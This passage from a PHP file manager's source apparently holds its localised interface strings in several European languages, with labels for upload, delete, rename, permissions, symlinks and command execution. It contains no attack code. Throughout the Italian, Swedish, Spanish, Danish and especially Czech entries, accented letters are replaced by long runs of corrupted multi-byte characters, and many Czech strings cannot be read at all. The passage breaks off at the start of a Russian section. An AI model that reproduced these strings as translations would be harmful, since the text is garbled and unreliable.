  1827. 'not_created' => '"[%1]" non ����¯�¿�½������¨ stato creato.',
  1828. 'really_delete' => 'Cancello questi file ?',
  1829. 'deleted' => "Questi file sono stati cancellati:\n[%1]",
  1830. 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
  1831. 'rename_file' => 'File rinominato:',
  1832. 'renamed' => '"[%1]" ����¯�¿�½������¨ stato rinominato in "[%2]".',
  1833. 'not_renamed' => '"[%1] non ����¯�¿�½������¨ stato rinominato in "[%2]".',
  1834. 'move_files' => 'Sposto questi file:',
  1835. 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
  1836. 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
  1837. 'copy_files' => 'Copio questi file',
  1838. 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
  1839. 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
  1840. 'not_edited' => '"[%1]" non pu����¯�¿�½������² essere modificato.',
  1841. 'executed' => "\"[%1]\" ����¯�¿�½������¨ stato eseguito con successo:\n{%2}",
  1842. 'not_executed' => "\"[%1]\" non ����¯�¿�½������¨ stato eseguito con successo\n{%2}",
  1843. 'saved' => '"[%1]" ����¯�¿�½������¨ stato salvato.',
  1844. 'not_saved' => '"[%1]" non ����¯�¿�½������¨ stato salvato.',
  1845. 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" ����¯�¿�½������¨ stato creato.',
  1846. 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non ����¯�¿�½������¨ stato creato.',
  1847. 'permission_for' => 'Permessi di "[%1]":',
  1848. 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
  1849. 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
  1850. 'not_readable' => '"[%1]" non pu����¯�¿�½������² essere letto.'
  1851.         );
  1852.  
  1853.     case 'nl':
  1854.  
  1855.         $date_format = 'n/j/y H:i:s';
  1856.         $word_charset = 'ISO-8859-1';
  1857.  
  1858.         return array(
  1859. 'directory' => 'Directory',
  1860. 'file' => 'Bestand',
  1861. 'filename' => 'Bestandsnaam',
  1862.  
  1863. 'size' => 'Grootte',
  1864. 'permission' => 'Bevoegdheid',
  1865. 'owner' => 'Eigenaar',
  1866. 'group' => 'Groep',
  1867. 'other' => 'Anderen',
  1868. 'functions' => 'Functies',
  1869.  
  1870. 'read' => 'lezen',
  1871. 'write' => 'schrijven',
  1872. 'execute' => 'uitvoeren',
  1873.  
  1874. 'create_symlink' => 'maak symlink',
  1875. 'delete' => 'verwijderen',
  1876. 'rename' => 'hernoemen',
  1877. 'move' => 'verplaatsen',
  1878. 'copy' => 'kopieren',
  1879. 'edit' => 'bewerken',
  1880. 'download' => 'downloaden',
  1881. 'upload' => 'uploaden',
  1882. 'create' => 'aanmaken',
  1883. 'change' => 'veranderen',
  1884. 'save' => 'opslaan',
  1885. 'set' => 'instellen',
  1886. 'reset' => 'resetten',
  1887. 'relative' => 'Relatief pat naar doel',
  1888.  
  1889. 'yes' => 'Ja',
  1890. 'no' => 'Nee',
  1891. 'back' => 'terug',
  1892. 'destination' => 'Bestemming',
  1893. 'symlink' => 'Symlink',
  1894. 'no_output' => 'geen output',
  1895.  
  1896. 'user' => 'Gebruiker',
  1897. 'password' => 'Wachtwoord',
  1898. 'add' => 'toevoegen',
  1899. 'add_basic_auth' => 'add basic-authentification',
  1900.  
  1901. 'uploaded' => '"[%1]" is verstuurd.',
  1902. 'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
  1903. 'already_exists' => '"[%1]" bestaat al.',
  1904. 'created' => '"[%1]" is aangemaakt.',
  1905. 'not_created' => '"[%1]" kan niet worden aangemaakt.',
  1906. 'really_delete' => 'Deze bestanden verwijderen?',
  1907. 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
  1908. 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
  1909. 'rename_file' => 'Bestandsnaam veranderen:',
  1910. 'renamed' => '"[%1]" heet nu "[%2]".',
  1911. 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
  1912. 'move_files' => 'Verplaats deze bestanden:',
  1913. 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
  1914. 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
  1915. 'copy_files' => 'Kopieer deze bestanden:',
  1916. 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
  1917. 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
  1918. 'not_edited' => '"[%1]" kan niet worden bewerkt.',
  1919. 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
  1920. 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
  1921. 'saved' => '"[%1]" is opgeslagen.',
  1922. 'not_saved' => '"[%1]" is niet opgeslagen.',
  1923. 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
  1924. 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
  1925. 'permission_for' => 'Bevoegdheid voor "[%1]":',
  1926. 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
  1927. 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
  1928. 'not_readable' => '"[%1]" kan niet worden gelezen.'
  1929.         );
  1930.  
  1931.     case 'se':
  1932.  
  1933.         $date_format = 'n/j/y H:i:s';
  1934.         $word_charset = 'ISO-8859-1';
  1935.  
  1936.         return array(
  1937. 'directory' => 'Mapp',
  1938. 'file' => 'Fil',
  1939. 'filename' => 'Filnamn',
  1940.  
  1941. 'size' => 'Storlek',
  1942. 'permission' => 'S����¯�¿�½������¤kerhetsniv����¯�¿�½������¥',
  1943. 'owner' => '����¯�¿�½���¯���¿���½gare',
  1944. 'group' => 'Grupp',
  1945. 'other' => 'Andra',
  1946. 'functions' => 'Funktioner',
  1947.  
  1948. 'read' => 'L����¯�¿�½������¤s',
  1949. 'write' => 'Skriv',
  1950. 'execute' => 'Utf����¯�¿�½������¶r',
  1951.  
  1952. 'create_symlink' => 'Skapa symlink',
  1953. 'delete' => 'Radera',
  1954. 'rename' => 'Byt namn',
  1955. 'move' => 'Flytta',
  1956. 'copy' => 'Kopiera',
  1957. 'edit' => '����¯�¿�½���¯���¿���½ndra',
  1958. 'download' => 'Ladda ner',
  1959. 'upload' => 'Ladda upp',
  1960. 'create' => 'Skapa',
  1961. 'change' => '����¯�¿�½���¯���¿���½ndra',
  1962. 'save' => 'Spara',
  1963. 'set' => 'Markera',
  1964. 'reset' => 'T����¯�¿�½������¶m',
  1965. 'relative' => 'Relative path to target',
  1966.  
  1967. 'yes' => 'Ja',
  1968. 'no' => 'Nej',
  1969. 'back' => 'Tillbaks',
  1970. 'destination' => 'Destination',
  1971. 'symlink' => 'Symlink',
  1972. 'no_output' => 'no output',
  1973.  
  1974. 'user' => 'Anv����¯�¿�½������¤ndare',
  1975. 'password' => 'L����¯�¿�½������¶senord',
  1976. 'add' => 'L����¯�¿�½������¤gg till',
  1977. 'add_basic_auth' => 'add basic-authentification',
  1978.  
  1979. 'uploaded' => '"[%1]" har laddats upp.',
  1980. 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
  1981. 'already_exists' => '"[%1]" finns redan.',
  1982. 'created' => '"[%1]" har skapats.',
  1983. 'not_created' => '"[%1]" kunde inte skapas.',
  1984. 'really_delete' => 'Radera dessa filer?',
  1985. 'deleted' => "De h����¯�¿�½������¤r filerna har raderats:\n[%1]",
  1986. 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
  1987. 'rename_file' => 'Byt namn p����¯�¿�½������¥ fil:',
  1988. 'renamed' => '"[%1]" har bytt namn till "[%2]".',
  1989. 'not_renamed' => '"[%1] kunde inte d����¯�¿�½������¶pas om till "[%2]".',
  1990. 'move_files' => 'Flytta dessa filer:',
  1991. 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
  1992. 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
  1993. 'copy_files' => 'Kopiera dessa filer:',
  1994. 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
  1995. 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
  1996. 'not_edited' => '"[%1]" kan inte ����¯�¿�½������¤ndras.',
  1997. 'executed' => "\"[%1]\" har utf����¯�¿�½������¶rts:\n{%2}",
  1998. 'not_executed' => "\"[%1]\" kunde inte utf����¯�¿�½������¶ras:\n{%2}",
  1999. 'saved' => '"[%1]" har sparats.',
  2000. 'not_saved' => '"[%1]" kunde inte sparas.',
  2001. 'symlinked' => 'Symlink fr����¯�¿�½������¥n "[%2]" till "[%1]" har skapats.',
  2002. 'not_symlinked' => 'Symlink fr����¯�¿�½������¥n "[%2]" till "[%1]" kunde inte skapas.',
  2003. 'permission_for' => 'R����¯�¿�½������¤ttigheter f����¯�¿�½������¶r "[%1]":',
  2004. 'permission_set' => 'R����¯�¿�½������¤ttigheter f����¯�¿�½������¶r "[%1]" ����¯�¿�½������¤ndrades till [%2].',
  2005. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  2006. 'not_readable' => '"[%1]" kan inte l����¯�¿�½������¤sas.'
  2007.         );
  2008.  
  2009.     case 'es':
  2010.  
  2011.         $date_format = 'j/n/y H:i:s';
  2012.         $word_charset = 'ISO-8859-1';
  2013.  
  2014.         return array(
  2015. 'directory' => 'Directorio',
  2016. 'file' => 'Archivo',
  2017. 'filename' => 'Nombre Archivo',
  2018.  
  2019. 'size' => 'Tama����¯�¿�½������±o',
  2020. 'permission' => 'Permisos',
  2021. 'owner' => 'Propietario',
  2022. 'group' => 'Grupo',
  2023. 'other' => 'Otros',
  2024. 'functions' => 'Funciones',
  2025.  
  2026. 'read' => 'lectura',
  2027. 'write' => 'escritura',
  2028. 'execute' => 'ejecuci����¯�¿�½������³n',
  2029.  
  2030. 'create_symlink' => 'crear enlace',
  2031. 'delete' => 'borrar',
  2032. 'rename' => 'renombrar',
  2033. 'move' => 'mover',
  2034. 'copy' => 'copiar',
  2035. 'edit' => 'editar',
  2036. 'download' => 'bajar',
  2037. 'upload' => 'subir',
  2038. 'create' => 'crear',
  2039. 'change' => 'cambiar',
  2040. 'save' => 'salvar',
  2041. 'set' => 'setear',
  2042. 'reset' => 'resetear',
  2043. 'relative' => 'Path relativo',
  2044.  
  2045. 'yes' => 'Si',
  2046. 'no' => 'No',
  2047. 'back' => 'atr����¯�¿�½������¡s',
  2048. 'destination' => 'Destino',
  2049. 'symlink' => 'Enlace',
  2050. 'no_output' => 'sin salida',
  2051.  
  2052. 'user' => 'Usuario',
  2053. 'password' => 'Clave',
  2054. 'add' => 'agregar',
  2055. 'add_basic_auth' => 'agregar autentificaci����¯�¿�½������³n b����¯�¿�½������¡sica',
  2056.  
  2057. 'uploaded' => '"[%1]" ha sido subido.',
  2058. 'not_uploaded' => '"[%1]" no pudo ser subido.',
  2059. 'already_exists' => '"[%1]" ya existe.',
  2060. 'created' => '"[%1]" ha sido creado.',
  2061. 'not_created' => '"[%1]" no pudo ser creado.',
  2062. 'really_delete' => '����¯�¿�½������¿Borra estos archivos?',
  2063. 'deleted' => "Estos archivos han sido borrados:\n[%1]",
  2064. 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
  2065. 'rename_file' => 'Renombra archivo:',
  2066. 'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
  2067. 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
  2068. 'move_files' => 'Mover estos archivos:',
  2069. 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
  2070. 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
  2071. 'copy_files' => 'Copiar estos archivos:',
  2072. 'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
  2073. 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
  2074. 'not_edited' => '"[%1]" no pudo ser editado.',
  2075. 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
  2076. 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
  2077. 'saved' => '"[%1]" ha sido salvado.',
  2078. 'not_saved' => '"[%1]" no pudo ser salvado.',
  2079. 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
  2080. 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
  2081. 'permission_for' => 'Permisos de "[%1]":',
  2082. 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
  2083. 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
  2084. 'not_readable' => '"[%1]" no pudo ser le����¯�¿�½������­do.'
  2085.         );
  2086.  
  2087.     case 'dk':
  2088.  
  2089.         $date_format = 'n/j/y H:i:s';
  2090.         $word_charset = 'ISO-8859-1';
  2091.  
  2092.         return array(
  2093. 'directory' => 'Mappe',
  2094. 'file' => 'Fil',
  2095. 'filename' => 'Filnavn',
  2096.  
  2097. 'size' => 'St����¯�¿�½������¸rrelse',
  2098. 'permission' => 'Rettighed',
  2099. 'owner' => 'Ejer',
  2100. 'group' => 'Gruppe',
  2101. 'other' => 'Andre',
  2102. 'functions' => 'Funktioner',
  2103.  
  2104. 'read' => 'l����¯�¿�½������¦s',
  2105. 'write' => 'skriv',
  2106. 'execute' => 'k����¯�¿�½������¸r',
  2107.  
  2108. 'create_symlink' => 'opret symbolsk link',
  2109. 'delete' => 'slet',
  2110. 'rename' => 'omd����¯�¿�½������¸b',
  2111. 'move' => 'flyt',
  2112. 'copy' => 'kopier',
  2113. 'edit' => 'rediger',
  2114. 'download' => 'download',
  2115. 'upload' => 'upload',
  2116. 'create' => 'opret',
  2117. 'change' => 'skift',
  2118. 'save' => 'gem',
  2119. 'set' => 's����¯�¿�½������¦t',
  2120. 'reset' => 'nulstil',
  2121. 'relative' => 'Relativ sti til valg',
  2122.  
  2123. 'yes' => 'Ja',
  2124. 'no' => 'Nej',
  2125. 'back' => 'tilbage',
  2126. 'destination' => 'Distination',
  2127. 'symlink' => 'Symbolsk link',
  2128. 'no_output' => 'ingen resultat',
  2129.  
  2130. 'user' => 'Bruger',
  2131. 'password' => 'Kodeord',
  2132. 'add' => 'tilf����¯�¿�½������¸j',
  2133. 'add_basic_auth' => 'tilf����¯�¿�½������¸j grundliggende rettigheder',
  2134.  
  2135. 'uploaded' => '"[%1]" er blevet uploaded.',
  2136. 'not_uploaded' => '"[%1]" kunnu ikke uploades.',
  2137. 'already_exists' => '"[%1]" findes allerede.',
  2138. 'created' => '"[%1]" er blevet oprettet.',
  2139. 'not_created' => '"[%1]" kunne ikke oprettes.',
  2140. 'really_delete' => 'Slet disse filer?',
  2141. 'deleted' => "Disse filer er blevet slettet:\n[%1]",
  2142. 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
  2143. 'rename_file' => 'Omd����¯�¿�½������¸d fil:',
  2144. 'renamed' => '"[%1]" er blevet omd����¯�¿�½������¸bt til "[%2]".',
  2145. 'not_renamed' => '"[%1] kunne ikke omd����¯�¿�½������¸bes til "[%2]".',
  2146. 'move_files' => 'Flyt disse filer:',
  2147. 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
  2148. 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
  2149. 'copy_files' => 'Kopier disse filer:',
  2150. 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
  2151. 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
  2152. 'not_edited' => '"[%1]" kan ikke redigeres.',
  2153. 'executed' => "\"[%1]\" er blevet k����¯�¿�½������¸rt korrekt:\n{%2}",
  2154. 'not_executed' => "\"[%1]\" kan ikke k����¯�¿�½������¸res korrekt:\n{%2}",
  2155. 'saved' => '"[%1]" er blevet gemt.',
  2156. 'not_saved' => '"[%1]" kunne ikke gemmes.',
  2157. 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
  2158. 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
  2159. 'permission_for' => 'Rettigheder for "[%1]":',
  2160. 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
  2161. 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke s����¯�¿�½������¦ttes til [%2].',
  2162. 'not_readable' => '"[%1]" Kan ikke l����¯�¿�½������¦ses.'
  2163.         );
  2164.  
  2165.     case 'tr':
  2166.  
  2167.         $date_format = 'n/j/y H:i:s';
  2168.         $word_charset = 'ISO-8859-1';
  2169.  
  2170.         return array(
  2171. 'directory' => 'Klasor',
  2172. 'file' => 'Dosya',
  2173. 'filename' => 'dosya adi',
  2174.  
  2175. 'size' => 'boyutu',
  2176. 'permission' => 'Izin',
  2177. 'owner' => 'sahib',
  2178. 'group' => 'Grup',
  2179. 'other' => 'Digerleri',
  2180. 'functions' => 'Fonksiyonlar',
  2181.  
  2182. 'read' => 'oku',
  2183. 'write' => 'yaz',
  2184. 'execute' => 'calistir',
  2185.  
  2186. 'create_symlink' => 'yarat symlink',
  2187. 'delete' => 'sil',
  2188. 'rename' => 'ad degistir',
  2189. 'move' => 'tasi',
  2190. 'copy' => 'kopyala',
  2191. 'edit' => 'duzenle',
  2192. 'download' => 'indir',
  2193. 'upload' => 'Yukle',
  2194. 'create' => 'create',
  2195. 'change' => 'degistir',
  2196. 'save' => 'kaydet',
  2197. 'set' => 'ayar',
  2198. 'reset' => 'sifirla',
  2199. 'relative' => 'Hedef yola gore',
  2200.  
  2201. 'yes' => 'Evet',
  2202. 'no' => 'Hayir',
  2203. 'back' => 'Geri',
  2204. 'destination' => 'Hedef',
  2205. 'symlink' => 'Kisa yol',
  2206. 'no_output' => 'cikti yok',
  2207.  
  2208. 'user' => 'Kullanici',
  2209. 'password' => 'Sifre',
  2210. 'add' => 'ekle',
  2211. 'add_basic_auth' => 'ekle basit-authentification',
  2212.  
  2213. 'uploaded' => '"[%1]" yuklendi.',
  2214. 'not_uploaded' => '"[%1]" yuklenemedi.',
  2215. 'already_exists' => '"[%1]" kullanilmakta.',
  2216. 'created' => '"[%1]" olusturuldu.',
  2217. 'not_created' => '"[%1]" olusturulamadi.',
  2218. 'really_delete' => 'Bu dosyalar silinsin mi DOSTUM?',
  2219. 'deleted' => "Bu dosyalar silindi:\n[%1]",
  2220. 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
  2221. 'rename_file' => 'Adi degisen dosya:',
  2222. 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
  2223. 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
  2224. 'move_files' => 'Tasinan dosyalar:',
  2225. 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
  2226. 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
  2227. 'copy_files' => 'Kopyalanan dosyalar:',
  2228. 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
  2229. 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
  2230. 'not_edited' => '"[%1]" duzenlenemiyor.',
  2231. 'executed' => "\"[%1]\" Basariyla Calistirildi:\n{%2}",
  2232. 'not_executed' => "\"[%1]\" Calistirilamadi:\n{%2}",
  2233. 'saved' => '"[%1]" Kaydedildi.',
  2234. 'not_saved' => '"[%1]" kaydedilemedi.',
  2235. 'symlinked' => '"[%2]" den "[%1]" e kisayol olusturuldu.',
  2236. 'not_symlinked' => '"[%2]"den "[%1]" e kisayol olusturulamadi.',
  2237. 'permission_for' => 'Izinler "[%1]":',
  2238. 'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
  2239. 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
  2240. 'not_readable' => '"[%1]" okunamiyor.'
  2241.         );
  2242.  
  2243.     case 'cs':
  2244.  
  2245.         $date_format = 'd.m.y H:i:s';
  2246.         $word_charset = 'UTF-8';
  2247.  
  2248.         return array(
  2249. 'directory' => 'Adres����¯�¿�½���¯���¿���½����¯�¿�½������¡����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2250. 'file' => 'Soubor',
  2251. 'filename' => 'Jm����¯�¿�½���¯���¿���½����¯�¿�½������©no souboru',
  2252.  
  2253. 'size' => 'Velikost',
  2254. 'permission' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡va',
  2255. 'owner' => 'Vlastn����¯�¿�½���¯���¿���½����¯�¿�½������­k',
  2256. 'group' => 'Skupina',
  2257. 'other' => 'Ostatn����¯�¿�½���¯���¿���½����¯�¿�½������­',
  2258. 'functions' => 'Funkce',
  2259.  
  2260. 'read' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ten����¯�¿�½���¯���¿���½����¯�¿�½������­',
  2261. 'write' => 'Z����¯�¿�½���¯���¿���½����¯�¿�½������¡pis',
  2262. 'execute' => 'Spou����¯�¿�½���¯���¿���½����¯�¿�½������¡t����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n����¯�¿�½���¯���¿���½����¯�¿�½������­',
  2263.  
  2264. 'create_symlink' => 'Vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½it symbolick����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ odkaz',
  2265. 'delete' => 'Smazat',
  2266. 'rename' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ejmenovat',
  2267. 'move' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½esunout',
  2268. 'copy' => 'Zkop����¯�¿�½���¯���¿���½����¯�¿�½������­rovat',
  2269. 'edit' => 'Otev����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½������­t',
  2270. 'download' => 'St����¯�¿�½���¯���¿���½����¯�¿�½������¡hnout',
  2271. 'upload' => 'Nahraj na server',
  2272. 'create' => 'Vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½it',
  2273. 'change' => 'Zm����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½nit',
  2274. 'save' => 'Ulo����¯�¿�½���¯���¿���½����¯�¿�½������¸it',
  2275. 'set' => 'Nastavit',
  2276. 'reset' => 'zp����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t',
  2277. 'relative' => 'Relatif',
  2278.  
  2279. 'yes' => 'Ano',
  2280. 'no' => 'Ne',
  2281. 'back' => 'Zp����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t',
  2282. 'destination' => 'Destination',
  2283. 'symlink' => 'Symbolick����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ odkaz',
  2284. 'no_output' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡zdn����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ v����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½stup',
  2285.  
  2286. 'user' => 'U����¯�¿�½���¯���¿���½����¯�¿�½������¸ivatel',
  2287. 'password' => 'Heslo',
  2288. 'add' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½idat',
  2289. 'add_basic_auth' => 'p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½idej z����¯�¿�½���¯���¿���½����¯�¿�½������¡kladn����¯�¿�½���¯���¿���½����¯�¿�½������­ autentizaci',
  2290.  
  2291. 'uploaded' => 'Soubor "[%1]" byl nahr����¯�¿�½���¯���¿���½����¯�¿�½������¡n na server.',
  2292. 'not_uploaded' => 'Soubor "[%1]" nebyl nahr����¯�¿�½���¯���¿���½����¯�¿�½������¡n na server.',
  2293. 'already_exists' => 'Soubor "[%1]" u����¯�¿�½���¯���¿���½����¯�¿�½������¸ exituje.',
  2294. 'created' => 'Soubor "[%1]" byl vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en.',
  2295. 'not_created' => 'Soubor "[%1]" nemohl bÃ?��Ã?¯Ã?¿Ã?½Ã?�Ã?¯Ã?�Ã?¿Ã?�Ã?½Ã?��Ã?¯Ã?¿Ã?½Ã?�Ã?¯Ã?�Ã?¿Ã?�Ã?½t  vytvoÃ?��Ã?¯Ã?¿Ã?½Ã?�Ã?¯Ã?�Ã?¿Ã?�Ã?½Ã?��Ã?¯Ã?¿Ã?½Ã?�Ã?¯Ã?�Ã?¿Ã?�Ã?½en.',
  2296. 'really_delete' => 'Vymazat soubor?',
  2297. 'deleted' => "Byly vymaz����¯�¿�½���¯���¿���½����¯�¿�½������¡ny tyto soubory:\n[%1]",
  2298. 'not_deleted' => "Tyto soubory nemohly b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½eny:\n[%1]",
  2299. 'rename_file' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ejmenuj soubory:',
  2300. 'renamed' => 'Soubor "[%1]" byl p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ejmenov����¯�¿�½���¯���¿���½����¯�¿�½������¡n na "[%2]".',
  2301. 'not_renamed' => 'Soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ejmenov����¯�¿�½���¯���¿���½����¯�¿�½������¡n na "[%2]".',
  2302. 'move_files' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½em����¯�¿�½���¯���¿���½����¯�¿�½������­stit tyto soubory:',
  2303. 'moved' => "Tyto soubory byly p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½em����¯�¿�½���¯���¿���½����¯�¿�½������­st����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ny do \"[%2]\":\n[%1]",
  2304. 'not_moved' => "Tyto soubory nemohly b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½em����¯�¿�½���¯���¿���½����¯�¿�½������­st����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ny do \"[%2]\":\n[%1]",
  2305. 'copy_files' => 'Zkop����¯�¿�½���¯���¿���½����¯�¿�½������­rovat tyto soubory:',
  2306. 'copied' => "Tyto soubory byly zkop����¯�¿�½���¯���¿���½����¯�¿�½������­rov����¯�¿�½���¯���¿���½����¯�¿�½������¡ny do \"[%2]\":\n[%1]",
  2307. 'not_copied' => "Tyto soubory nemohly b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t zkop����¯�¿�½���¯���¿���½����¯�¿�½������­rov����¯�¿�½���¯���¿���½����¯�¿�½������¡ny do \"[%2]\":\n[%1]",
  2308. 'not_edited' => 'Soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t otev����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en.',
  2309. 'executed' => "SOubor \"[%1]\" byl spu����¯�¿�½���¯���¿���½����¯�¿�½������¡t����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n :\n{%2}",
  2310. 'not_executed' => "Soubor \"[%1]\" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t spu����¯�¿�½���¯���¿���½����¯�¿�½������¡t����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n:\n{%2}",
  2311. 'saved' => 'Soubor "[%1]" byl ulo����¯�¿�½���¯���¿���½����¯�¿�½������¸en.',
  2312. 'not_saved' => 'Soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t ulo����¯�¿�½���¯���¿���½����¯�¿�½������¸en.',
  2313. 'symlinked' => 'Byl vyvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en symbolick����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ odkaz "[%2]" na soubor "[%1]".',
  2314. 'not_symlinked' => 'Symbolick����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ odkaz "[%2]" na soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en.',
  2315. 'permission_for' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡va k "[%1]":',
  2316. 'permission_set' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡va k "[%1]" byla zm����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½na na [%2].',
  2317. 'permission_not_set' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡va k "[%1]" nemohla b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t zm����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½na na [%2].',
  2318. 'not_readable' => 'Soubor "[%1]" nen����¯�¿�½���¯���¿���½����¯�¿�½������­ mo����¯�¿�½���¯���¿���½����¯�¿�½������¸no p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½e����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½������­st.'
  2319.         );
  2320.  
  2321.     case 'ru':
  2322.  
  2323.         $date_format = 'd.m.y H:i:s';
  2324.         $word_charset = 'KOI8-R';
  2325.        
  2326.         return array(
